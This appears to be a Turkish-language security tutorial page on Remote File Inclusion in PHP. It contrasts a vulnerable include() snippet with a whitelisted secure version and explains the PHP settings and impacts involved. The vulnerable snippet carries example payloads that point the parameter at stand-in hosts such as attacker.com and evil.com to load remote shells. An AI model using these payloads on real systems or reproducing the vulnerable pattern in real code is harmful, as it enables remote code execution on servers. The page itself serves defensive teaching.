📚 RFI'ı Öğren & Ustalaş
Teori, bypass teknikleri, gerçek dünya örnekleri ve önleme stratejilerini kapsayan kapsamlı rehber
What is Remote File Inclusion (RFI)?
Remote File Inclusion (RFI), saldırganların uygulamaya uzak sunuculardan kötü amaçlı dosyalar dahil ettirmelerine olanak tanıyan kritik bir web güvenlik zafiyetidir. Kullanıcı girdisine dayalı dosya dahil etme mekanizmalarını istismar ederek, saldırganlar web shell'leri yükleyebilir, backdoor'lar oluşturabilir ve tam sistem kontrolü ele geçirebilir. RFI genellikle PHP uygulamalarında include(), require(), fopen() gibi fonksiyonların güvensiz kullanımından kaynaklanır.
RFI Nasıl Çalışır
RFI, bir uygulamanın kullanıcı girdisine dayalı olarak dinamik şekilde dosya dahil etmesi ve uzak URL'lere izin vermesiyle oluşur. Saldırganlar kendi sunucularında kötü amaçlı PHP kodu barındırır ve savunmasız parametreyi manipüle ederek uzak dosyalarını dahil ettirirler. Savunmasız uygulama, saldırganın kodunu indirir ve tam yetkilerle çalıştırır.
❌ Savunmasız Kod
// Vulnerable PHP code
<?php
$page = $_GET['page'];
include($page . '.php');
?>
// Attacker payload:
// ?page=http://attacker.com/shell.txt
// ?page=https://evil.com/backdoor
// ?page=ftp://malicious.site/exploit✅ Güvenli Kod
// Secure PHP code
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
// Whitelist validation
if (in_array($page, $allowed)) {
include("/var/www/pages/{$page}.php");
} else {
include("/var/www/pages/error.php");
}
?>RFI ve LFI: Temel Farklar
🌐 Uzak Dosya Dahil Etme
- • Uzak sunuculardan dosya dahil eder
- • allow_url_include=On gerektirir
- • RCE'ye doğrudan yol
- • Saldırgan dosya içeriğini kontrol eder
- • Daha ciddi ama daha az yaygın
📁 Yerel Dosya Dahil Etme
- • Sadece yerel dosyaları dahil eder
- • Özel PHP ayarı gerektirmez
- • RCE'ye dolaylı yol (log poisoning)
- • Mevcut sunucu dosyalarıyla sınırlı
- • Daha yaygın ama daha az ciddi
RFI Neden Öncelikle PHP Zafiyetidir
RFI neredeyse tamamen PHP'ye özgü bir zafiyettir çünkü PHP'nin include(), require(), include_once() ve require_once() gibi fonksiyonları aracılığıyla uzak dosyaları dahil edip çalıştırma konusunda benzersiz bir yeteneği vardır. allow_url_include PHP yapılandırma direktifi etkinleştirildiğinde, bu fonksiyonlar uzak URL'leri (HTTP, HTTPS, FTP) kabul edebilir ve içerdikleri kodu çalıştırabilir.
⚙️ PHP Yapılandırması
- •
allow_url_include=Onenables RFI - •
allow_url_fopen=Onrequired for HTTP/FTP - • Default: Off (since PHP 5.2.0)
- • Legacy systems may still have it enabled
🔧 Diğer Diller
- • Node.js:
require()doesn't accept remote URLs - • Python:
importis local-only by default - • Java/JSP: Very rare, typically prevented
- • Ruby:
requiredoesn't support URLs
⚠️ Not: Diğer dillerde benzer uzaktan kod çalıştırma zafiyetleri olsa da (SSRF veya deserialization saldırıları gibi), doğrudan uzak dosya dahil etmeye izin veren klasik 'RFI' zafiyeti PHP'ye özgüdür.
RFI'ın İş Etkisi
Keyfi kod çalıştırma yoluyla tam sunucu ele geçirme
Hassas dosyalara, veritabanlarına ve yapılandırma verilerine erişim
Web sitesi içeriğini değiştirme ve itibar hasarı
Sunucu DDoS veya spam botnet'inin parçası haline gelir
Web shell'leri ve backdoor'lar yoluyla kalıcı erişim
İç ağa geçiş ve diğer sistemleri ele geçirme
PHP Yapılandırması
RFI'ın istismar edilebilmesi için belirli PHP yapılandırma ayarları gerekir. Bu ayarları anlamak hem saldırganlar hem de savunucular için önemlidir.
allow_url_include = OnGEREKLİHTTP/FTP protokolleri üzerinden uzak dosya dahil etmeye izin verir. PHP 5.2.0'dan beri varsayılan olarak kapalıdır
allow_url_fopen = OnYAYGINURL-aware fopen wrapper'larını etkinleştirir. Varsayılan olarak etkin ama RFI için tek başına yeterli değil